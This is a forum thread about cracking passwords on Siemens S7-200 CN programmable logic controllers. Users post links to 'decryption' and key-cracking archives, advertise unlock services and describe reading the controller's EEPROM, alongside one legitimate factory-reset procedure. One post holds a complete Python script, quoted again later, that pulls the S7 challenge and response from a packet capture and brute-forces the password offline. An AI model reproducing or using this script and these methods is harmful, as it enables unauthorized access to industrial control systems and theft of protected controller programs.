plc.myforum.ro PLCs users www.plc.myforum.ro!    FAQ   Search   Memberlist   Usergroups   Register   Profile   Log in to check your private messages   Log in  S7-200 CN Chinese password break required Goto page 1, 2          plc.myforum.ro Forum Index -> Simatic Automation Systems View previous topic :: View next topic   Author Message ahsan1820 Junior Joined: 27 Mar 2013 Posts: 1 Posted: 13/10/2013 10:01    Post subject: S7-200 CN Chinese password break required Hi Please tell me the way to crack the password of chinese CN s7-200 PLC Back to top mohdabshr Member junior Joined: 07 Oct 2012 Posts: 86 Posted: 13/10/2013 10:53    Post subject: hello if you plc cpu v2.01 it is hard to crack but if it is v2.0 see this link: http://fake/viewtopic.php?f=9&t=17590 Back to top messer Senior Joined: 08 Mar 2012 Posts: 2059 Location: Europe Posted: 16/10/2013 19:45    Post subject: Re: S7-200 CN Chinese password break required ahsan1820 wrote: Hi Please tell me the way to crack the password of chinese CN s7-200 PLC you have the link at this post: http://plc.myforum.ro/viewtopic.php?p=6741#6741 Back to top ytangsuan Junior Joined: 04 Sep 2013 Posts: 3 Posted: 22/03/2014 17:32    Post subject: Unlock Firmware 2.01 + L3 Password It can be cracked by using Brute Method. From experience, it takes 5 minutes to find “1234” password at 19200 baudrate and 15 minutes to find “1234” at 9600 baudrate. You may start the Brute method and leave software running. Back to top abdo.1526 Junior Joined: 05 May 2013 Posts: 1 Posted: 15/04/2014 01:10    Post subject: unlock plc s7200 v2.01 Hello Please what is the Brute Method to unlock plc s7200 v2.01 thanks in advance A.G Back to top Yeo Member Joined: 12 Jan 2012 Posts: 223 Posted: 29/04/2014 16:59    Post subject: Re: unlock plc s7200 v2.01 Anyone has the software to crack the password for s7-200 cn Plc firmware 2.01? Back to top kidsolo1412 Junior 2 Joined: 29 Sep 2012 Posts: 25 Location: Viet Nam Posted: 06/06/2017 05:33    Post subject: Crack pass S7-200 LV3,LV4 CPU version 2.01 ,2.00 .... IF you have problem with S7-200 password just contact me: autechvn.techsp@gmail.com or my whatsapp:+84906603372 www.autechvn.com Back to top cencen Member 2 Joined: 08 Mar 2014 Posts: 284 Posted: 06/06/2017 09:48    Post subject: [URL=https://userscloud.com/jtdvyzzhdbb8]s7-200_decryption.rar - 52 KB[/URL] [URL=https://userscloud.com/g5b94yqqq19x]S7-200_decryption_2013.rar - 138 KB[/URL] [URL=https://userscloud.com/iw8mj5n3xgg2]S7-200CN_Key.rar - 2.7 MB[/URL] [URL=https://userscloud.com/2qcwvyj8nrrh]S7-200CN_project_password___simplified_version.rar - 228 KB[/URL] [URL=https://userscloud.com/xqsu3kwhj3k4]S7-200PLC_project_decryption_software.rar - 411 KB[/URL] Back to top cencen Member 2 Joined: 08 Mar 2014 Posts: 284 Posted: 06/06/2017 12:11    Post subject: S7-200 Programming Examples in Chinese S7-200 Programming Examples in Chinese Install MicroWin Smart 2.2 in Chinese and translate the commentaries or Install MicroWin Smart 2.2 in English and have the program S7-22x PLC_control_MMV4_series_inverter_program is in English [URL=https://userscloud.com/qmanrxzamejx]S7-22x PLC_control_MMV4_series_inverter_program.rar - 135 KB[/URL] [URL=https://userscloud.com/rz0n1cf2pwme]S7-200_Projects.rar - 750 KB[/URL] [URL=https://userscloud.com/o6i1cunewhls]Toolbox_V32-STEP 7-MicroWIN32_Instruction_Library.rar - 1.0 MB[/URL] STEP7_MicroWIN_SMART_V2.2.rar - 186.3 MB https://userscloud.com/3snzemqsphsw Microwin Instruction_Library.nrg - 2.4 MB https://userscloud.com/2j7aod2gr0jd uploaded by Heissler Back to top cencen Member 2 Joined: 08 Mar 2014 Posts: 284 Posted: 06/06/2017 13:38    Post subject: S7-200 Libraries S7-200 Libraries [URL=https://userscloud.com/btotif4doztm]S7-200_Libraries.rar - 1.3 MB[/URL] Back to top kidsolo1412 Junior 2 Joined: 29 Sep 2012 Posts: 25 Location: Viet Nam Posted: 23/06/2017 12:08    Post subject: Unlock PLC&HMI contact me: whatsapp: +84906603372 [url]www.autechvn.com[/url] Or search "unlock plc" on ebay Back to top Yazan_dagest Junior Joined: 29 Jun 2015 Posts: 19 Location: Jordan Posted: 03/10/2017 22:16    Post subject: how to Crack the password of an S7-200 CN Dears, How can i upload a protected S7-200 CN PLC. It's an urgent case the supplier refuses to cooperate. Back to top vaughn Junior Joined: 21 Aug 2017 Posts: 7 Posted: 04/10/2017 17:50    Post subject: Re: how to Crack the password of an S7-200 CN Yazan_dagest wrote: Dears, How can i upload a protected S7-200 CN PLC. It's an urgent case the supplier refuses to cooperate. How do I get access to the program of a password-protected CPU if I do not know the password? Even if the CPU is furnished with a password protection, the subsequent CPU-Functions can be conducted unlimitedly: Reading and writing of user data Start, Stopp and Restart of the CPU Reading and setting the real-time Important: There is no possibility for the user, to read a program of a password-protected CPU with protection level 3 or to modify - without having the knowledge about the password. If the password entered in the CPU is unknown, a memory reset of the CPU has to be conducted and the program has to be reloaded into the CPU. During the memory reset, the net address, baudrate, realtime and - if existing - the program in the memory submodule are not modified. To implement that, please proceed as follows: Select "Target system > memory reset". Afterwards, select all three block types to be cleared and confirm it with "OK". Fig. 1: Selecting blocks to be cleared Enter "CLEARPLC" in the dialog window. Fig. 2: Entry of the password in order to clear An additional possibility to reset the CPU is provided by the program "Wipeout.exe". This program is located on the Installation-CD of STEP7-Micro/WIN or is available in the Internet under Resetting the S7-200 to the factory default settings (WIPEOUT) https://support.industry.siemens.com/cs/document/2123168/resetting-the-s7-200-to-the-factory-default-settings- (wipeout) "wipeout.exe" is a DOS application with which you can reset the target system (S7-200) to the factory default settings. This program is very useful if you have a target system with an unknown address or baud rate and cannot communicate with the target system using the STEP 7 Micro/Win. WIPEOUT deletes The user program (OB1) The data block (DB1) and All configuration information (SDB). The target system is set with address 2 to 9600 baud. WIPEOUT is not installed in conjunction with STEP 7-Micro/WIN 32. A copy of this application is on the Installation CD of STEP 7 Micro/WIN 32. The program can be copied onto the hard disk and then called from there. To call the program, open the DOS window and enter the "WIPEOUT" command with the corresponding path. Then follow the prompts on the screen. https://support.industry.siemens.com/cs/attachments/2123168/wipeout.exe On the contrary to the reset via STEP7-Micro/WIN, the program "Wipeout.exe" does not only delete the user program, the data block and the configuration information, but also the baudrate is reset to 9,6 kbit/s and the netaddress is reset to address 2. The CPU is reset into the pristine status of supply. Alternatively, the memory submodule can also be plugged with another unprotected program into the CPU. When reswitching the voltage, this program is loaded into the CPU and overwrites the program with the unknown password. Afterwards, the access to the CPU is possible. follow also this topic http://plc.myforum.ro/viewtopic.php?p=28917#28917 Back to top taobao Junior 2 Joined: 02 Jul 2016 Posts: 23 Posted: 05/10/2017 13:08    Post subject: Re: how to Crack the password of an S7-200 CN Yazan_dagest wrote: Dears, How can i upload a protected S7-200 CN PLC. It's an urgent case the supplier refuses to cooperate. [URL=https://userscloud.com/wzisbmr7e9tc]Siemens S7-200PLC procedures.rar - 4.8 MB[/URL] [URL=https://userscloud.com/mcdgbwc7hiq4]s7-200 decryption.rar - 52 KB[/URL] [URL=https://userscloud.com/8eg2ni675vu6]S7-200CNPLC decryption software.rar - 6.0 MB[/URL] [URL=https://userscloud.com/net092b76lu8]S7-200CN_Key.rar - 5.4 MB[/URL] Back to top kidsolo1412 Junior 2 Joined: 29 Sep 2012 Posts: 25 Location: Viet Nam Posted: 30/12/2017 18:26    Post subject: Re: how to Crack the password of an S7-200 CN Yazan_dagest wrote: Dears, How can i upload a protected S7-200 CN PLC. It's an urgent case the supplier refuses to cooperate. Take a look this video: https://www.youtube.com/watch?v=H5LtqYcmOf0 or contact me :info@autechvn.com _________________ www.autechvn.com Back to top Terere_Py Junior Joined: 10 Oct 2019 Posts: 4 Posted: 17/10/2019 03:41    Post subject: i don't know why, but usercloud is not working anymore... can someone upload it to another server? Back to top taobao Junior 2 Joined: 02 Jul 2016 Posts: 23 Posted: 17/10/2019 07:54    Post subject: [URL=https://www.file-upload.net/download-13752856/S7-200CN_Key.rar.html]S7-200CN_Key.rar[/URL] [URL=https://www.file-upload.net/download-13752857/S7-200CNPLCdecryptionsoftware.rar.html]S7-200CNPLCdecryptionsoftware.rar[/URL] [URL=https://www.file-upload.net/download-13752855/s7-200decryption.rar.html]s7-200decryption.rar[/URL] [URL=https://www.file-upload.net/download-13752858/SiemensS7-200PLCprocedures.rar.html]SiemensS7-200PLCprocedures.rar[/URL] https://ulozto.net/tam/_0IieulPQ4ijN https://letsupload.cc/I6w98288nb/s7-200_decryption_rar https://letsupload.cc/N8w18f8anc/Siemens_S7-200PLC_procedures_rar https://letsupload.cc/Obwc898an2/S7-200CN_Key_rar https://letsupload.cc/Pcw28789nf/S7-200CNPLC_decryption_software_rar Back to top NicolescuConstantin Junior Joined: 11 Sep 2012 Posts: 9 Posted: 07/03/2020 09:19    Post subject: Re: Unlock Firmware 2.01 + L3 Password Ma intereseza cum se numeste programul care foloseste " brute methode" si de unde il pot descarca. Back to top nyhhyll Junior Joined: 24 Aug 2018 Posts: 2 Posted: 07/03/2020 15:36    Post subject: Code: """ File: s7-brute-offline.py     import sys import hashlib import hmac from binascii import hexlify try:     from scapy.all import * except ImportError:     print "please install scapy: http://www.secdev.org/projects/scapy/ "     sys.exit()     cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap' cfg_dictionary_file = 'dict.txt'   def get_challenge_response():     r = rdpcap(cfg_pcap_file)       lens = map(lambda x: x.len, r)     pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])       # try to find challenge packet     pckt_108 = 0 #challenge packet (from server)     for (pckt_indx, pckt_len) in pckt_lens.items():         if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':             pckt_108 = pckt_indx             break       # try to find response packet     pckt_141 = 0 #response packet (from client)     _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])     for pckt_indx in sorted(_t1.keys()):         pckt_len = _t1[pckt_indx]         if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':             pckt_141 = pckt_indx             break       # try to find auth result packet     pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok     pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad     for pckt_indx in sorted(_t1.keys()):         pckt_len = _t1[pckt_indx]         if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':             pckt_84 = pckt_indx             break         if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':             pckt_92 = pckt_indx             break       print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)     if pckt_84:         print "auth ok"     else:         print "auth bad. for brute we need right auth result. exit"         sys.exit()       challenge = None     response = None       raw_challenge = hexlify(r[pckt_108].load)     if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':         challenge = raw_challenge[52:92]         print "found challenge: %s" % challenge     else:         print "cannot find challenge. exit"         sys.exit()       raw_response = hexlify(r[pckt_141].load)     if raw_response[64:70] == '100214' and raw_response[110:112] == '00':         response = raw_response[70:110]         print "found  response: %s" % response     else:         print "cannot find response. exit"         sys.exit()       return challenge, response   def calculate_s7response(password, challenge):     challenge = challenge.decode("hex")     return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()   if __name__ == '__main__':     print "using pcap file: %s" % cfg_pcap_file     challenge, response = get_challenge_response()     print "start password bruteforsing  ..."     for p in open(cfg_dictionary_file):         p = p.strip()         if response == calculate_s7response(p, challenge):             print "found password: %s" % p             sys.exit()     print "password not found. try another dictionary." Back to top rohit02988 Member Joined: 24 Jun 2013 Posts: 175 Posted: 21/07/2021 06:18    Post subject: Please Re-upload links !! taobao wrote: [URL=https://www.file-upload.net/download-13752856/S7-200CN_Key.rar.html]S7-200CN_Key.rar[/URL] [URL=https://www.file-upload.net/download-13752857/S7-200CNPLCdecryptionsoftware.rar.html]S7-200CNPLCdecryptionsoftware.rar[/URL] [URL=https://www.file-upload.net/download-13752855/s7-200decryption.rar.html]s7-200decryption.rar[/URL] [URL=https://www.file-upload.net/download-13752858/SiemensS7-200PLCprocedures.rar.html]SiemensS7-200PLCprocedures.rar[/URL] https://ulozto.net/tam/_0IieulPQ4ijN https://letsupload.cc/I6w98288nb/s7-200_decryption_rar https://letsupload.cc/N8w18f8anc/Siemens_S7-200PLC_procedures_rar https://letsupload.cc/Obwc898an2/S7-200CN_Key_rar https://letsupload.cc/Pcw28789nf/S7-200CNPLC_decryption_software_rar Back to top taobao Junior 2 Joined: 02 Jul 2016 Posts: 23 Posted: 22/07/2021 15:10    Post subject: [url=https://www.solidfiles.com/v/a47DqvZqNMypx]s7-200 decryption.rar[/url] [url=https://www.solidfiles.com/v/3dnvMR854zzqK]S7-200CN_Key.rar[/url] [url=https://www.solidfiles.com/v/4Yjp2zje2AYX3]S7-200POUx.rar[/url] Back to top rohit02988 Member Joined: 24 Jun 2013 Posts: 175 Posted: 25/07/2021 18:04    Post subject: Links are not working !! taobao wrote: [url=https://www.solidfiles.com/v/a47DqvZqNMypx]s7-200 decryption.rar[/url] [url=https://www.solidfiles.com/v/3dnvMR854zzqK]S7-200CN_Key.rar[/url] [url=https://www.solidfiles.com/v/4Yjp2zje2AYX3]S7-200POUx.rar[/url] Back to top rohit02988 Member Joined: 24 Jun 2013 Posts: 175 Posted: 26/07/2021 10:25    Post subject: how to implement this ?? nyhhyll wrote: Code: """ File: s7-brute-offline.py     import sys import hashlib import hmac from binascii import hexlify try:     from scapy.all import * except ImportError:     print "please install scapy: http://www.secdev.org/projects/scapy/ "     sys.exit()     cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap' cfg_dictionary_file = 'dict.txt'   def get_challenge_response():     r = rdpcap(cfg_pcap_file)       lens = map(lambda x: x.len, r)     pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])       # try to find challenge packet     pckt_108 = 0 #challenge packet (from server)     for (pckt_indx, pckt_len) in pckt_lens.items():         if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':             pckt_108 = pckt_indx             break       # try to find response packet     pckt_141 = 0 #response packet (from client)     _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])     for pckt_indx in sorted(_t1.keys()):         pckt_len = _t1[pckt_indx]         if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':             pckt_141 = pckt_indx             break       # try to find auth result packet     pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok     pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad     for pckt_indx in sorted(_t1.keys()):         pckt_len = _t1[pckt_indx]         if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':             pckt_84 = pckt_indx             break         if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':             pckt_92 = pckt_indx             break       print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)     if pckt_84:         print "auth ok"     else:         print "auth bad. for brute we need right auth result. exit"         sys.exit()       challenge = None     response = None       raw_challenge = hexlify(r[pckt_108].load)     if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':         challenge = raw_challenge[52:92]         print "found challenge: %s" % challenge     else:         print "cannot find challenge. exit"         sys.exit()       raw_response = hexlify(r[pckt_141].load)     if raw_response[64:70] == '100214' and raw_response[110:112] == '00':         response = raw_response[70:110]         print "found  response: %s" % response     else:         print "cannot find response. exit"         sys.exit()       return challenge, response   def calculate_s7response(password, challenge):     challenge = challenge.decode("hex")     return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()   if __name__ == '__main__':     print "using pcap file: %s" % cfg_pcap_file     challenge, response = get_challenge_response()     print "start password bruteforsing  ..."     for p in open(cfg_dictionary_file):         p = p.strip()         if response == calculate_s7response(p, challenge):             print "found password: %s" % p             sys.exit()     print "password not found. try another dictionary." Back to top Sam Newman Junior Joined: 26 Jul 2021 Posts: 5 Location: Russia Posted: 26/07/2021 19:19    Post subject: password you can read by CH341A Programmer but if someone wants to degree protection level from 4 th to 3 and upload program, I could help you. Back to top rohit02988 Member Joined: 24 Jun 2013 Posts: 175 Posted: 27/07/2021 06:18    Post subject: Please Help !! Sam Newman wrote: password you can read by CH341A Programmer but if someone wants to degree protection level from 4 th to 3 and upload program, I could help you. Back to top Sam Newman Junior Joined: 26 Jul 2021 Posts: 5 Location: Russia Posted: 27/07/2021 17:36    Post subject: Hi first of all, upload data from eeprom using CH341a _________________ Änigma is sucks Back to top Sam Newman Junior Joined: 26 Jul 2021 Posts: 5 Location: Russia Posted: 27/07/2021 17:40    Post subject: [url=http://www.99poze.ro/p/b118afc5949384adb9d3098e3e491b8e.jpg][/url]+ _________________ Änigma is sucks Back to top rohit02988 Member Joined: 24 Jun 2013 Posts: 175 Posted: 28/07/2021 06:11    Post subject: Thanks for Reply !! Where can find the password after uploading data !! Sam Newman wrote: [url=http://www.99poze.ro/p/b118afc5949384adb9d3098e3e491b8e.jpg][/url]+ Back to top Sam Newman Junior Joined: 26 Jul 2021 Posts: 5 Location: Russia Posted: 28/07/2021 07:54    Post subject: i must see all data put hex file _________________ Änigma is sucks Back to top rohit02988 Member Joined: 24 Jun 2013 Posts: 175 Posted: 02/08/2021 12:56    Post subject: Plz check the attached file Sam Newman wrote: i must see all data put hex file [url=http://www.girlshare.ro/3770089427.5]S7200.bin[/url] Back to top Display posts from previous:  Oldest FirstNewest First         plc.myforum.ro Forum Index -> Simatic Automation Systems All times are GMT + 2 Hours Goto page 1, 2 Page 1 of 2   Jump to: Select a forum PLC's Users International Forum----------------Board RulesPLC TutorialsSIMATIC Automation Systems -Reg.USimatic Automation SystemsLinksGE Fanuc Emerson Reg. UGE Fanuc Emerson ALLEN-BRADLEY(Rockwell Automation) Reg. UALLEN-BRADLEY(Rockwell Automation)OMRON Reg. UOMRONHONEYWELLSchneider_Electric Reg. USchneider ElectricOther PLCs Reg. UOther PLCsSIEMENS SIMATIC HMI- Reg. USIEMENS SIMATIC HMIOther HMI-Reg. UOther HMICNC & Robotics-Reg. UCNC & RoboticsProgramming Reg. UProgrammingAutoCAD Reg. UAutoCADRenewable EnergyBuilding Technology ManagementPLC BooksCables, Sensors,Transducers ...Drives & InvertersSiemens Hardware & SoftwareSafety Military & AerospaceUtilitiesFAQs & NewsJobsDisclaimer Romanian Users Forum----------------ROSIEMENS SIMATIC Automation SystemsROSIEMENS SIMATIC HMIROSimatic ROther PLCsROther HMIBooksROCADRUtilitieseLearningSimulatorsApplication Examples  You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum Powered by phpBB © 2001, 2005 phpBB Group Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro